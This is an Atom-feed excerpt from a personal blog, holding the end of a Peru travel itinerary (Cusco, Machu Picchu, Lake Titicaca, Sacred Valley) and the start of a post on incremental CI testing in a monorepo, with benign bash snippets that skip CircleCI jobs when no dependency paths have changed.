<a href="https://www.inkanmilkyway.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Inkan Milky Way</a>. It would give you a good idea of the UNESCO heritage site around the central square (Plaza de Armas). If you are coming from the lower altitudes, then acclimatize yourself by taking rest, drinking a lot of water, and chewing coca leaves.</p>
<figure>
    
    <a href="plaza_de_armas_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="plaza_de_armas_resized-1024x768.jpg"
         alt="A bustling outdoor plaza with a central fountain surrounded by historic buildings and people walking. Bright sunlight casts shadows, and a mountain range is visible in the background." width="900"/> </a>
</figure>

<p>Check out the San Pedro market. Gustave Eiffel designed this market. Try fresh juices and Maiz choclo (&ldquo;boiled corn&rdquo;) here.</p>
<figure>
    
    <a href="San_Pedro_market_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="San_Pedro_market_resized-1024x768.jpg"
         alt="An outdoor market stall, designed by Gustave Eiffel, selling fresh juices and boiled corn (Maiz choclo), with a colorful display of corn varieties in vibrant surroundings." width="900"/> </a>
</figure>

<figure>
    
    <a href="corn_varities_resized-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="corn_varities_resized-768x1024.jpg"
         alt="A market stall displays various colorful varieties of corn, showcasing diversity in size and color, symbolizing agricultural abundance." width="900"/> </a>
</figure>

<figure>
    
    <a href="maiz_choclo_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="maiz_choclo_resized-1024x768.jpg"
         alt="A diverse array of corn varieties displayed on a table, showcasing different shapes, sizes, and colors, illustrating agricultural diversity and potential culinary uses." width="900"/> </a>
</figure>

<figure>
    
    <a href="Pic_with_alpaca_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Pic_with_alpaca_resized-1024x768.jpg"
         alt="A picturesque image of a mountain road surrounded by lush greenery, leading to Machu Picchu, symbolizing a journey during the vibrant peak tourist season." width="900"/> </a>
</figure>

<h2 id="day-2---road-to-macchu-picchu">Day 2 - Road to Macchu Picchu</h2>
<p>During the busy season, the   
    
    
<a href="https://www.ticketmachupicchu.com/ticket-machu-picchu-book-now/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">ticket</a> to Macchu Picchu archeological site sells months in advance, so buy them well in time.  That&rsquo;s what I did. There are a few different ways to go to Macchu Picchu, which is in the sacred valley of the Incas.</p>
<ol>
<li>The easiest and somewhat expensive way is to take the train,   
    
    
<a href="https://www.perurail.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Peru Rail</a> &amp;   
    
    
<a href="https://incarail.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Inca Rail</a>, are your options for that. Both trains go to Aguas Calientes (&ldquo;Hot water&rdquo;), a small town a few miles from Macchu Picchu. You can either do a 2-hour hike to Macchu Picchu from here or take a 12$ bus from here. I would highly recommend taking the bus to Macchu Picchu. The downwards Hike back is much easier. Costs ~300-400$.</li>
<li>The more exotic, most expensive, and the time-consuming way is to hike the world-famous 4-day Inca trail. The permit was this is even harder to come by. You must have a guide for the Inca trail. I would recommend buying the permits well in advance for this as well. Cost 500-600$.</li>
<li>The exotic and cheap way. You can hike the   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g294314-d8566905-Reviews-Salkantay_Trekking-Cusco_Cusco_Region.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Salkantay Trek</a>. While most people take guided tours, I met someone who did a self-guided tour here. It is perfectly legal, and no permits are required. The cost ~ depends on whether you take a guide or not.</li>
<li>The fast, fun, and cheap way is to take the 6-hour collectivo &ldquo;van&rdquo; from Cusco to Hydroelectric; it costs ~30 soles one-way (~10$). And then do a 12-km ~2.5 hours almost flat trek along the rail tracks to Aguas Calientes. Even during the low season, I saw ~100+ people doing this trek. There are local restaurants, selling hot food &amp; drinks every few kilometers. The views are gorgeous. <strong>I would highly recommend this route.</strong></li>
</ol>
<figure>
    
    <a href="on_way_to_hydroelectric_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="on_way_to_hydroelectric_resized-1024x768.jpg"
         alt="A scenic hiking path with lush green surroundings and a suggestion to try the route due to gorgeous views and available amenities every few kilometers." width="900"/> </a>
</figure>

<figure>
    
    <a href="hike1_resized-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="hike1_resized-768x1024.jpg"
         alt="Hiking in Peru" width="900"/> </a>
</figure>

<figure>
    
    <a href="hike2_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="hike2_resized-1024x768.jpg"
         alt="Hiking in Peru" width="900"/> </a>
</figure>

<figure>
    
    <a href="hike3_resized-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="hike3_resized-768x1024.jpg"
         alt="A scenic hiking trail surrounded by lush greenery and rugged terrain, offering a picturesque view ideal for nature enthusiasts." width="900"/> </a>
</figure>

<figure>
    
    <a href="hike4_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="hike4_resized-1024x768.jpg"
         alt="A steep, scenic hiking trail surrounded by lush greenery" width="900"/> </a>
</figure>

<p>I stayed at Aguas Calientes. The town is small but has probably 100+ restaurants and hotels, so you won&rsquo;t have a tough time finding food or accommodation on the spot.</p>
<figure>
    
    <a href="aguas_calientes_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="aguas_calientes_resized-1024x768.jpg"
         alt="A picturesque view of Machu Picchu at dawn, surrounded by lush mountains, with early morning mist contributing to a serene atmosphere." width="900"/> </a>
</figure>

<h2 id="day-3---macchu-picchu">Day 3 - Macchu Picchu</h2>
<p>I would recommend going early. People queued for the bus at 4:30 AM. I reached at 5:55 AM, 5 minutes before the site opened. The guide is required but not enforced. The route is one-way, so you can&rsquo;t come back after moving forward. I would highly recommend spending as much time at the top for the views as possible. The ruins, like most Inca ruins, from a close distance, are not that interesting.</p>
<figure>
    
    <a href="machu_picchu_1_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="machu_picchu_1_resized-1024x768.jpg"
         alt="A scenic view of Machu Picchu, highlighting ancient stone structures and terraces surrounded by lush mountains, under a clear sky." width="900"/> </a>
</figure>

<figure>
    
    <a href="machu_picchu_2_resized-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="machu_picchu_2_resized-768x1024.jpg"
         alt="View of Machu Picchu, an ancient Incan city in Peru, surrounded by lush green mountains under a clear blue sky." width="900"/> </a>
</figure>

<p>I returned via the same 21-km hydroelectric route and took a 30-soles collectivo back to Hydroelectric. No booking is required since locals use the same route every day. Some people booked a tour for this pickup and dropoff and paid upwards of 100$ for a 20$ journey. You can get down at   
    
    
<a href="https://en.wikipedia.org/wiki/Ollantaytambo?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Ollyntatambo</a>, but I was too tired and wanted to do a guided tour for that instead.</p>
<h2 id="day-4---sacred-valley">Day 4 - Sacred Valley</h2>
<p>I took a 70-soles   
    
    
<a href="https://www.getyourguide.com/ollantaytambo-l93095/sacred-valley-of-the-incas-full-day-tour-t210441?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">tour</a> of the Sacred Valley the next day. Some websites list the same activity for 50$ or more. Cusco is not expensive; a day-long guided tour should not cost more than 100 soles. The tour does stop at tourist traps, so be careful about buying stuff. You will either have to buy a 70-soles ticket or a 140-soles Tourist ticket &ldquo;boleto touristico&rdquo; to visit the sites. I would recommend purchasing a tourist ticket.</p>
<figure>
    
    <a href="pisac_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="pisac_resized-1024x768.jpg"
         alt="Sacred Valley" width="900"/> </a>
</figure>

<figure>
    
    <a href="Ollantaytambo_resized-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Ollantaytambo_resized-768x1024.jpg"
         alt="Sacred Valley" width="900"/> </a>
</figure>

<figure>
    
    <a href="chinchero_demonstrations_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="chinchero_demonstrations_resized-1024x768.jpg"
         alt="Traditional Chinchero textile demonstration" width="900"/> </a>
</figure>

<p>In the evening, I took an overnight bus from Cusco to Puno. Puno is the closest bus terminal to Lake Titicaca. The overnight buses are comfortable (reclining seats), inexpensive (~30-50 soles and yes, you can negotiate the price), have USB charging for the phone, and have urinals. Alternatively, you can take a day bus like   
    
    
<a href="https://www.peruhop.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">PeruHop</a>, which stops at interesting tourist stops. Based on my experience, I would highly recommend the   
    
    
<a href="https://www.turismomer.com/en/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Turismo Mer</a> bus.</p>
<h2 id="day-5--6----lake-titicaca-tour">Day 5 &amp; 6  - Lake Titicaca tour</h2>
<p>The most popular tour on Lake Titicaca is a 2-day 1-night tour of the floating island of Uros, with a night stay at Amantani, and a stopover at the island of Taquile. I did a 37$   
    
    
<a href="https://www.findlocaltrips.com/tour-details/titicaca-uros-floating-islands-overnight-kollasuyo-travel?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">tour</a>. The tour is relaxed. If you are the adventurous type, there isn&rsquo;t that much to do on tour. I would recommend the tour given that you get to experience Lake Titicaca and eat local food (which includes a lot of vegetarian items).</p>
<p>The tour started with a trip to a floating island where the local guides explained how they built and maintained it.</p>
<figure>
    
    <a href="floating_island_uros_1_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="floating_island_uros_1_resized-1024x768.jpg"
         alt="A traditional floating island, part of the Uros community, constructed from reeds, with local guides offering educational insights on its construction and maintenance practices." width="900"/> </a>
</figure>

<figure>
    
    <a href="floating_island_uros_2_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="floating_island_uros_2_resized-1024x768.jpg"
         alt="Floating island of Uros" width="900"/> </a>
</figure>

<p>Then we headed to Amantani island.</p>
<figure>
    
    <a href="amantani_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="amantani_resized-1024x768.jpg"
         alt="A floating island with traditional structures, surrounded by water" width="900"/> </a>
</figure>

<p>In the evening, we did a hike to the sun temple there.</p>
<figure>
    
    <a href="amantani_sun_temple_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="amantani_sun_temple_resized-1024x768.jpg"
         alt="A serene island landscape with a rocky path leads toward a sun temple on a hill under a blue sky, indicating a daytime hike location." width="900"/> </a>
</figure>

<p>And at night, there was a local musical celebration.</p>
<figure>
    
    <a href="amantani_dance_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="amantani_dance_resized-1024x768.jpg"
         alt="An island landscape with traditional houses and steep terraces under a clear sky, capturing the remote beauty of a rural setting." width="900"/> </a>
</figure>

<p>On the second day afternoon,  we were on the island of Taquile; there wasn&rsquo;t anything special to do on Taquile, though. So, if you are short on time, skip Taquile and make a single-day trip to Uros + Amantani. In the evening, I checked the central square area of Puno. Compared to Cusco, it is pretty dead. I took an overnight bus back to Cusco.</p>
<h3 id="day-7---cusco">Day 7 - Cusco</h3>
<p>I started the day by taking a 15-soles taxi to Tambomachay, an archeological site near Cusco. This site was used for baths, probably ceremonial. There isn&rsquo;t much going on here. So, don&rsquo;t spend time hiking at the site beyond the baths.</p>
<figure>
    
    <a href="tambomachay_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="tambomachay_resized-1024x768.jpg"
         alt="A historical site features ancient stone structures and terraced baths, surrounded by grassy hillsides, part of a cultural or ceremonial location." width="900"/> </a>
</figure>

<p>From there, I walked back to the second side, Puka Pukara.</p>
<figure>
    
    <a href="puka_pukara_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="puka_pukara_resized-1024x768.jpg"
         alt="Puka Pukara" width="900"/> </a>
</figure>

<p>I took a 1-sol bus to Quenco.</p>
<figure>
    
    <a href="qenco_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="qenco_resized-1024x768.jpg"
         alt="A scenic view of an archaeological site in a hilly landscape, Sacsayhuaman, with stone structures and grassy areas" width="900"/> </a>
</figure>

<p>From here, I walked to Sacsayhuaman, the most elaborate archeological site of all. There is a Jesus statue nearby, and you can walk down the staircases from here to the Cusco downtown.</p>
<figure>
    
    <a href="sacsaywamen_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="sacsaywamen_resized-1024x768.jpg"
         alt="View from an elevated location overlooking Cusco, with stairs leading down to the city, surrounded by mountains." width="900"/> </a>
</figure>

<p>Later in the day, I checked out the four museums which are part of the tourist ticket. Compared to many museums in the US and Europe, they are unassuming. If you are short on time, skip them.</p>
<h3 id="day-8---moray-and-maras-tour">Day 8 - Moray and Maras tour</h3>
<p>I was planning to Maras ruins and Moray salt mines on my own. After seeing a 25-soles guided tour, I decided to do that instead. The tour was similar to   
    
    
<a href="https://www.getyourguide.com/cusco-l359/from-cusco-half-day-moray-maras-the-salt-mines-tour-t116362/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">this</a>. I would recommend booking it locally to avoid being dollar-priced.</p>
<p>  
    
    
<a href="https://en.wikipedia.org/wiki/Moray_%28Inca_ruin%29?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Moray ruins</a> consist of circular depressions. The temperature difference between the top and the bottom circle is about 15 ºC. Archeologists believe that this was an agricultural laboratory.</p>
<figure>
    
    <a href="moray_ruins_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="moray_ruins_resized-1024x768.jpg"
         alt="Circular terraced structure with multiple levels built into the landscape, resembling an ancient amphitheater, potentially used for agricultural experiments, surrounded by green terrain." width="900"/> </a>
</figure>

<p>Maras Salt flats are actively used to harvest rock salt.</p>
<figure>
    
    <a href="maras_salt_flats_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="maras_salt_flats_resized-1024x768.jpg"
         alt="Maras Salt flats, actively used for harvesting rock salt, are shown with terraced basins filled with water, set against a hilly landscape." width="900"/> </a>
</figure>

<p>In the evening, I attended a show at the native art center &ldquo;Centro Qosqo de arte nativo&rdquo;, it is an excellent way to kill some time.</p>
<figure>
    
    <a href="arte_nativo_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="arte_nativo_resized-1024x768.jpg"
         alt="A traditional Peruvian dance performance takes place at the Centro Qosqo de Arte Nativo, showcasing vibrant costumes and cultural expressions." width="900"/> </a>
</figure>

<p>Note:</p>
<ol>
<li>The local currency is soles. 1 US$ ~ 3.5 Peruvian Soles. Anytime someone is listing prices in US$; they are overcharging you. Credit card acceptance is low.</li>
<li>Coca leaves, used for making cocaine, are perfectly safe and legal to consume in Peru. Don&rsquo;t take them to the airport, though.</li>
<li>Recommended sites for booking: Apart from generic   
    
    
<a href="https://viator.com?pid=P00037355&amp;mcid=42383&amp;medium=link&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">viator.com</a>, I would recommend checking   
    
    
<a href="https://findlocaltrips.com?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">findlocaltrips.com</a> and   
    
    
<a href="https://getyourguide.com?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">getyourguide.com</a> for high-quality, inexpensive tours.</li>
<li>Public transport is great in and around Cusco.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/peru" term="peru" label="peru"/><category scheme="https://ashishb.net/tag/latin-america" term="latin-america" label="latin-america"/></entry><entry><title type="html">Incremental testing: save time and money on CI for monorepo</title><link href="https://ashishb.net/programming/incremental-ci-monorepo/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/docker-scratch-image/?utm_source=atom_feed" rel="related" type="text/html" title="Docker: Be careful about the scratch image"/><link href="https://ashishb.net/programming/how-many-source-code-repositories-should-a-startup-have/?utm_source=atom_feed" rel="related" type="text/html" title="How many source-code repositories should a startup have"/><link href="https://ashishb.net/programming/free-deployment-of-side-projects/?utm_source=atom_feed" rel="related" type="text/html" title="How to deploy side projects as web services for free"/><link href="https://ashishb.net/programming/docker-101/?utm_source=atom_feed" rel="related" type="text/html" title="Docker 101: A basic web-server displaying hello world"/><link href="https://ashishb.net/programming/consoles-by-google/?utm_source=atom_feed" rel="related" type="text/html" title="Consoles by Google"/><id>https://ashishb.net/programming/incremental-ci-monorepo/</id><author><name>Ashish Bhatia</name></author><published>2020-05-06T01:00:02+00:00</published><updated>2020-05-06T01:00:02+00:00</updated><content type="html"><![CDATA[<blockquote>Struggling with slow testing in monorepos? Discover a script to boost test speed by 5-10x and enhance developer velocity. Ideal for any build system!</blockquote><p>To use   
    
    
<a href="https://danluu.com/monorepo/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">monorepo</a> or   
    
    
<a href="https://yosefk.com/blog/dont-ask-if-a-monorepo-is-good-for-you-ask-if-youre-good-enough-for-a-monorepo.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">not</a> is an eternal debate. Each has its pros and cons. Let&rsquo;s say you decide to go with monorepo, one major issue you will face over time is slow testing. Imagine a monorepo, consisting of an Android app, an iOS app, some backend code, some web frontend code. On only very few occasions will someone modify more than one of those simultaneously.</p>
<p>Further, most of these projects confined to their directories would be using different build systems as well, for example, gradle for Android, yarn/npm for Javascript, go/rust/java/npm for the backend. The total build time and test time will only grow over time. It annoys developers making small modifications to their part of the codebase. And it slows down the development velocity drastically.</p>
<p>At my previous job, I ended up writing an elementary version of the incremental testing system. We had a set of directories, most unrelated to each and some dependent on each other. As long as we come up with a good directory-dependency tree, a script can check if any files in the pull request modified any of those dependencies; if yes, the test continues, if not, it is skipped. In this way, we cut down a lot of extraneous builds. The goal was not to eliminate all extraneous builds but to minimize the biggest offenders. And that alone made the testing much more manageable. We saved money by reducing the number of Circle CI instances we reserved, and we increased our developer velocity. In a monorepo like ours, you can expect a 5-10x faster testing time.</p>
<p>The code is open-source, so I can easily reference it here. We used Circle CI, but the approach is generic enough and can be used on any other build system as well.</p>
<p>Consider, for example,   
    
    
<a href="https://github.com/celo-org/celo-monorepo/blob/a021ca1493e27be3ebe81e717c18b7602bdf3419/.circleci/config.yml#L517?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">protocol-test</a></p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">4
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#586e75"># Dependencies</span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">FILES_TO_CHECK</span><span style="color:#719e07">=</span><span style="color:#2aa198">&#34;</span><span style="color:#2aa198">${</span><span style="color:#268bd2">PWD</span><span style="color:#2aa198">}</span><span style="color:#2aa198">/packages/protocol,</span><span style="color:#2aa198">${</span><span style="color:#268bd2">PWD</span><span style="color:#2aa198">}</span><span style="color:#2aa198">/packages/utils,</span><span style="color:#2aa198">${</span><span style="color:#268bd2">PWD</span><span style="color:#2aa198">}</span><span style="color:#2aa198">/.circleci/config.yml&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#586e75"># Incremental testing script</span>
</span></span><span style="display:flex;"><span>./scripts/ci_check_if_test_should_run_v2.sh <span style="color:#2aa198">${</span><span style="color:#268bd2">FILES_TO_CHECK</span><span style="color:#2aa198">}</span></span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>The wrapper   
    
    
<a href="https://github.com/celo-org/celo-monorepo/blob/a021ca1493e27be3ebe81e717c18b7602bdf3419/scripts/ci_check_if_test_should_run_v2.sh?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">script</a></p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">11
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#586e75"># Usage: ci_check_if_test_should_run_v2.sh &lt;comma separate list of paths to check&gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">DIRS_TO_CHECK</span><span style="color:#719e07">=</span><span style="color:#2aa198">${</span><span style="color:#268bd2">1</span><span style="color:#2aa198">}</span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">CHANGED</span><span style="color:#719e07">=</span><span style="color:#719e07">$(</span>node -r ts-node/register ../../scripts/check_if_test_should_run_v2.ts --dirs <span style="color:#2aa198">${</span><span style="color:#268bd2">DIRS_TO_CHECK</span><span style="color:#2aa198">}</span><span style="color:#719e07">)</span>
</span></span><span style="display:flex;"><span><span style="color:#b58900">cd</span> -
</span></span><span style="display:flex;"><span><span style="color:#719e07">if</span> <span style="color:#719e07">[</span> <span style="color:#268bd2">$CHANGED</span> <span style="color:#719e07">=</span> <span style="color:#b58900">false</span> <span style="color:#719e07">]</span> ; <span style="color:#719e07">then</span>
</span></span><span style="display:flex;"><span>  <span style="color:#b58900">echo</span> <span style="color:#2aa198">&#34;No changes in </span><span style="color:#2aa198">${</span><span style="color:#268bd2">1</span><span style="color:#2aa198">}</span><span style="color:#2aa198"> - skipping  testing&#34;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#586e75"># https://discuss.circleci.com/t/ability-to-return-successfully-from-a-job-before-completing-all-the-next-steps/12969/6</span>
</span></span><span style="display:flex;"><span>  circleci step halt
</span></span><span style="display:flex;"><span>  <span style="color:#b58900">exit</span> <span style="color:#2aa198">0</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">fi</span>
</span></span><span style="display:flex;"><span><span style="color:#b58900">echo</span> <span style="color:#2aa198">&#34;Something </span><span style="color:#268bd2">$CHANGED</span><span style="color:#2aa198">, tests should not be skipped&#34;</span></span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
